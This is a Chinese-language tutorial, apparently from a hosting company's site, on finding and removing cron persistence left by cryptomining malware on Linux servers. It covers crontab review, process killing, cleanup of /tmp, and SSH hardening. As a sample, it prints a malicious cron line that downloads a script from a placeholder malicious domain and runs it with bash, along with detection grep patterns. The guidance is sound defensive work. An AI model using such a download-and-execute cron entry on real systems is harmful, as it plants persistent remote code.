挖矿病毒定时任务彻底清除查杀教程

为什么会中挖矿病毒?定时任务是怎么被利用的?

挖矿病毒(Miner Malware)感染 Linux 服务器最常见的手法就是通过定时任务(cron)实现持久化。
攻击者拿到服务器权限后,会在 /var/spool/cron//etc/cron.d/ 或当前用户的 crontab 里写入一条定期执行的命令,下载运行挖矿脚本。
这样就算你重启服务器或临时杀掉了进程,过几分钟病毒又会自动复活。
本文就带零基础用户一步一步彻底清除这类定时任务,并防止再次被利用。

准备工作:你需要什么?

  • 一台 Linux 服务器(本文以 CentOS 7/8、Ubuntu 20.04 为例)
  • root 权限(或能使用 sudo 的用户)
  • 基本的 SSH 连接能力(会用 Xshell、Putty 或终端即可)
  • 如果已安装宝塔面板等管理工具,也可以通过文件管理直接查看

重要提醒: 操作前建议先备份关键数据,尤其是正在运行的生产业务。
如果对命令不确定,可以先在测试环境演练。

第一步:找到所有可疑的定时任务

首先用以下命令查看当前用户和系统级的定时任务列表:

# 查看当前登录用户的 crontab
crontab -l

# 查看所有用户的定时任务(需要 root)
for user in $(cut -f1 -d: /etc/passwd); do echo "=== $user ==="; crontab -u $user -l 2>/dev/null; done

# 检查系统目录下的定时任务文件
ls -la /var/spool/cron/
ls -la /etc/cron.d/
ls -la /etc/cron.hourly/ /etc/cron.daily/ /etc/cron.weekly/ /etc/cron.monthly/

挖矿病毒的定时任务通常长这样:

*/5 * * * * wget -q -O .update.sh http://恶意域名/x.sh && bash .update.sh
@reboot cd /tmp && nohup ./systemd &>/dev/null &

如果你看到类似的自动下载执行脚本的任务,基本可以确定是中招了。不要急着删除,先记录下来文件路径和域名,后面要用。

第二步:杀掉正在运行的挖矿进程

在清理定时任务之前,先找出并杀掉当前的挖矿进程,否则病毒可能边删边写。
使用 tophtop 观察那个 CPU 占用最高的进程,记录 PID。
然后用以下命令:

# 强制执行 kill -9
kill -9 PID号

# 以防写有启动保护脚本,同时杀掉同名进程
pkill -f 恶意进程名(比如 systemd、.update.sh)

如果进程名很隐蔽(比如使用常见系统名伪装),可以用 ps aux | grep -E "(wget|curl|/tmp/|/dev/shm)" 快速筛选可疑项。

第三步:彻底删除定时任务条目

删除当前用户的 crontab 中可疑条目

crontab -e   # 编辑当前用户的定时任务,手动删掉挖矿那一行,保存退出

清除系统目录下的恶意文件

# 删除 /var/spool/cron/ 下的可疑文件(只删恶意的,不要删正常系统用户的)
rm -f /var/spool/cron/root(如果 root 的 crontab 被篡改过)

# 删除 /etc/cron.d/ 下的可疑文件
ls /etc/cron.d/
# 找到类似 .system、.update、cron.xxx 等非系统原生文件(对照正常服务器文件列表)
rm -f /etc/cron.d/恶意文件名

清理 /tmp、/dev/shm 等临时目录的挖矿脚本

大部分挖矿病毒会把自己的脚本放到 /tmp/dev/shm/var/tmp 目录下,文件名常带有随机字符串或伪装成系统命令。
执行:

ls -la /tmp | grep -E "^(d|-)..x"   # 查找可执行文件
rm -rf /tmp/可疑目录或文件

ls -la /dev/shm/
rm -rf /dev/shm/可疑文件

注意: 一定不要盲目删除所有文件,只针对你知道是病毒产生的那些。
如果不确定,可以用 file 命令查看文件类型,或上传到 VirusTotal 分析。

第四步:查杀隐藏的后门文件与 SSH 密钥

挖矿病毒经常还会植入后门,比如在 /root/.ssh/authorized_keys 中添加攻击者的公钥。
使用以下命令检查并清除异常授权:

cat /root/.ssh/authorized_keys   # 检查是否有可疑公钥
# 如果发现非你添加的密钥,直接编辑删除那一行
vim /root/.ssh/authorized_keys

另外,检查 ~/.bashrc~/.profile 以及 /etc/rc.local/etc/init.d/ 等启动项中是否有异常加载脚本。

常见问题与避坑指南

Q1: 删了定时任务后,过一会又自动出现了?
A: 说明还有隐藏进程或后门脚本在反复写 crontab。请重复步骤二使用 pkill 杀掉所有相关进程,并且检查 /etc/ld.so.preload(动态链接库劫持)以及 /etc/rc.d/ 下的启动脚本。也可以运行 chkrootkitrkhunter 辅助检测。

Q2: 不知道哪些文件是正常的,怕误删系统文件?
A: 正常情况下系统自带的 crontab 条目很少。可以先拿一台干净的同版本服务器对比 /etc/cron.d//var/spool/cron/ 下的文件列表。新手建议只清理明确包含以下特征的条目:指向未知域名、使用 wget/curl 下载、执行改名脚本(如 .sh、.update、.system)、路径在 /tmp 或 /dev/shm。

Q3: 清完之后怎么防止再被入侵?
A: 请立即做三件事:

  1. 修改服务器所有用户密码(强密码,包含大小写+数字+特殊字符,12位以上)
  2. 如果开启了 SSH 密码登录,改用密钥登录并禁用 root 密码登录(编辑 /etc/ssh/sshd_config,设置 PasswordAuthentication noPermitRootLogin prohibit-password
  3. 更新系统补丁,关闭不必要的端口和服务

效果验证:确保挖矿病毒已被彻底清除

完成以上步骤后,执行以下验证:

# 1. 再次列出所有定时任务,确认没有可疑条目
crontab -l
# 2. 查看 CPU 占用是否恢复正常(正常闲置应该在 1% 以下)
htop  # 或 top
# 3. 检查进程列表,确认没有异常 wget/curl/miner 进程
ps aux | grep -v grep | grep -E "(wget|curl|miner|/tmp/)"
# 4. 过 10 分钟后再检查一次,确保没有复活

如果以上命令都没有异常输出,并且 CPU 持续正常,说明挖矿病毒已被成功清除。
后续建议定期执行 crontab -l 检查,并安装 Fail2Ban 等工具增强服务器安全。

如果你在处理挖矿病毒定时任务时遇到其他棘手情况,可以先按本文步骤完整执行,再根据实际报错信息进一步排查;
遇到无法删除的持久化任务时,优先检查系统启动项和 LD_PRELOAD 环境变量。

分享到:
上一篇
批量新建外贸站点宝塔面板自动化脚本
下一篇
后台登录地址隐藏防止全网扫描爆破
1
系统公告

机房迁移升级通知

尊敬的用户: IP 段 103.23.148.x、156.224.29.x 原香港一区线路波动、攻击频繁,平台定于 7 月 5 日凌晨分批迁移至香港 GIA 机房,硬件升级 AMD 铂金机型。 迁移均在凌晨操作,最大程度降低业务影响,迁移期间服务器临时关机; 升级后配置不降低、费用不涨价,数据默认同步迁移; 迁移后 IP 全部更换,请及时修改域名解析、防火墙白名单; 建议提前备份重要数据,有问题可联系在线客服。 感谢理解与支持! 泽御云科技 2026.06.30
服务中心
客服
在线客服
24小时为您服务
咨询
联系我们
联系我们,为您的业务提供专属服务。
24/7 技术支持
如果您遇到寻求进一步的帮助,请过工单与我们进行联系。
24/7 即时支持
泽御云
售前客服
泽御云
泽御云
售后客服
泽御云
技术支持
评价
您对当前页面的整体感受是否满意?
😞
非常不满意
😕
不满意
😐
一般
🙂
满意
😊
非常满意